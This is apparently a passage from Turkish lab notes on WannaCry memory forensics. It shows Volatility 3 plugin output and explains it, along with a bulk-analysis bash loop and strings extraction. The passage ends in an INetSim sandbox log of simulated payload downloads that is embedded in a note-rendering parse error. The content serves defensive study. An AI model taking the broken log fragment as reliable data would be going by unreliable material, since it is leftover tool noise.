0x21b0f90	\WINDOWS\Prefetch\@WANADECRIPTOR@.EXE-06F053F5.pf	112

Çıktı ve Mantıksal Analiz:

- Encrypted Files:** butterfly.bmp.WNCRY satırı bize fidye yazılımının dosya şifreleme rutininin başarılı olduğunu ve dosya uzantılarına .WNCRY eklediğini gösteriyor.
- Payload Location:** @WanaDecryptor@.exe dosyasının fiziksel olarak diskte nerede tutulduğunu (\Intel\ivecuqmanpnirkt615\) teyit ediyoruz.
- Localization/Language Packs:** m_turkish.wnry , m_russian.wnry gibi dosyalar, WannaCry'ın kurbanın sistem diline göre özel fidye notu gösterdiğinin teknik ispatıdır. Zararlı yazılım küresel bir saldırı için tasarlanmıştır.
- Execution Evidence:** \WINDOWS\Prefetch\@WANADECRIPTOR@.EXE-06F053F5.pf dosyası, işletim sisteminin Prefetch (öngetirme) mekanizmasının bu zararlıyı diskten belleğe çekip çalıştırdığının adli kanıtıdır (Execution Artifact).

Diğer Kritik Volatility Eklentileri: DllList, PsScan ve Malfind

- windows.dlllist.DllList:** Zararlı bir sürecin arka planda ağa çıkmak için (örn: ws2_32.dll) veya kriptolama yapmak için (örn: crypt32.dll) hangi kütüphaneleri (DLL) kendi bellek alanına yüklediğini gösterir. Davranış analizi için kritiktir.

- **windows.psscan.PsScan:** PsList analizinde bahsettiğimiz B planıdır. EPROCESS yapısının bellek tag'lerini (Pool Tags) tarayarak, sistemden gizlenmiş (Rootkit/Unlinked) süreçleri bulur. Yukarıdaki ham veride PsScan çıktısına baktığımızda, PsList 'te göremediğimiz taskdl.exe (PID 860) ve taskse.exe (PID 536) süreçlerinin de 1940 (tasksche.exe) tarafından çalıştırıldığını tespit ediyoruz. Bu, zararlının parçalı bir yapıda çalıştığını kanıtlar.
- **windows.malfind.Malfind: Process Injection** (Sürece Kod Enjekte Etme) olaylarını tespit eder. Bir sürecin bellek alanındaki VAD (Virtual Address Descriptor) ağacını inceler. Eğer bir bellek alanında PAGE_EXECUTE_READWRITE izni varsa ve bu alan fiziksel diskteki bir dosyaya (DLL veya EXE) işaret etmiyorsa (unbacked), bu alana başka bir zararlı tarafından shellcode enjekte edilmiş demektir.

Toplu Ön İşleme Döngüsü (Bulk Preprocessing)

Gerçek dünyada bir olaya müdahale ederken tüm bu eklentileri tek tek çalıştırmak vakit kaybıdır. İşletim sisteminin gücünü kullanarak bir Bash döngüsü (loop) ile tüm analizleri tek seferde başlatıp, sonuçları dosyalara kaydedebiliriz.

```
root@10.113.152.62:/home/ubuntu/Desktop/tasks/Wcry_memory_image$ for plugin
in windows.malfind.Malfind windows.psscan.PsScan windows.pstree.PsTree
windows.pslist.PsList windows.cmdline.CmdLine windows.filescan.FileScan
windows.dlllist.DllList; do vol3 -q -f wcry.mem $plugin > wcry.$plugin.txt;
done
```

Komut Mantiğı ve Parametre Analizi:

- `for plugin in ... ; do ... ; done` : Listelenen her bir eklenti adını sırasıyla `$plugin` değişkenine atayarak döngüyü çalıştırır.
- `-q` (Quiet): Terminal ekranını temiz tutmak ve I/O (girdi/çıkı) performansını artırmak için Volatility'nin ilerleme durumunu (progress bar) gizler.
- `> wcry.$plugin.txt` : Çıktıyı terminale basmak yerine yeniden yönlendirme operatörü (`>`) kullanarak bir metin dosyasına yazar. Dosya isimlendirmesi dinamiktir; eklenti neyse (örn: `windows.pstree.PsTree`), dosya adı da o olur (`wcry.windows.pstree.PsTree.txt`). Bu yöntem kanıt zincirinin (Chain of Custody) temiz kalmasını sağlar.

Strings Aracı ile Ham Veri Kazınması (Raw Data Extraction)

Zararlı yazılımlar çalışırken komuta kontrol (C2) sunucusu IP adreslerini, kriptolama anahtarlarını, hardcoded (sabit) şifreleri veya geçici konfigürasyon dosyalarını bellekte şifresiz (Plaintext) olarak bırakabilir. Volatility'nin yapısallaştırılmış analizinden bağımsız olarak, sadece anlamlı metinleri çıkarmak için Linux `strings` aracı kullanılır.

```
root@10.113.152.62:/home/ubuntu/Desktop/tasks/Wcry_memory_image$ strings
wcry.mem > wcry.strings.ascii.txt
```

```
root@10.113.152.62:/home/ubuntu/Desktop/tasks/Wcry_memory_image$ strings -e
l wcry.mem > wcry.strings.unicode_little_endian.txt

root@10.113.152.62:/home/ubuntu/Desktop/tasks/Wcry_memory_image$ strings -e
b wcry.mem > wcry.strings.unicode_big_endian.txt
```

Komutların Teknik Arka Planı:

- **Standart strings** : Herhangi bir parametre verilmediğinde, varsayılan olarak yazdırılabilir **ASCII** (7-bit) karakter dizilerini arar.
- **-e l** (Little-Endian): Windows işletim sistemi, hafıza mimarisinde genellikle **16-bit Unicode (UTF-16 LE)** formatını kullanır. Dosya yolları, kayıt defteri anahtarları (registry keys) ve Windows API çağrıları genellikle bu formattadır. Bu parametre olmadan bu verilerin %90'ını gözden kaçırsınız.
- **-e b** (Big-Endian): Nadiren de olsa bazı zararlı yazılımlar, ağ iletişim protokollerini (TCP/IP genellikle Big-Endian'dır) belleklerinde bu formatta tutabilirler. Kapsamlı bir ön işleme için bu da taranmalıdır.

```
Dataview (inline field '== Report for session '2594' ==
Real start date           : 2024-09-22 21:04:42
...
2024-09-22 21:04:53  HTTPS connection, method: GET, URL:
https://10.112.177.184/, file name:
/var/lib/inetsim/http/fakefiles/sample.html
2024-09-22 21:16:07  HTTPS connection, method: GET, URL:
https://10.112.177.184/test.exe, file name:
/var/lib/inetsim/http/fakefiles/sample_gui.exe
2024-09-22 21:18:37  HTTPS connection, method: GET, URL:
https://10.112.177.184/second_payload.ps1, file name:
/var/lib/inetsim/http/fakefiles/sample.html
2024-09-22 21:18:49  HTTPS connection, method: GET, URL:
https://10.112.177.184/second_payload.zip, file name:
/var/lib/inetsim/http/fakefiles/sample.html'): Error:
-- PARSING FAILED -----
---

> 1 | == Report for session '2594' ==
    | ^
    2 | Real start date           : 2024-09-22 21:04:42
    3 | ...
```

Expected one of the following:

```
(' ', 'null', boolean, date, duration, file link, list ('[1, 2, 3]'), negated field, number, object ('{ a: 1, b: 2 }'), string, variable
```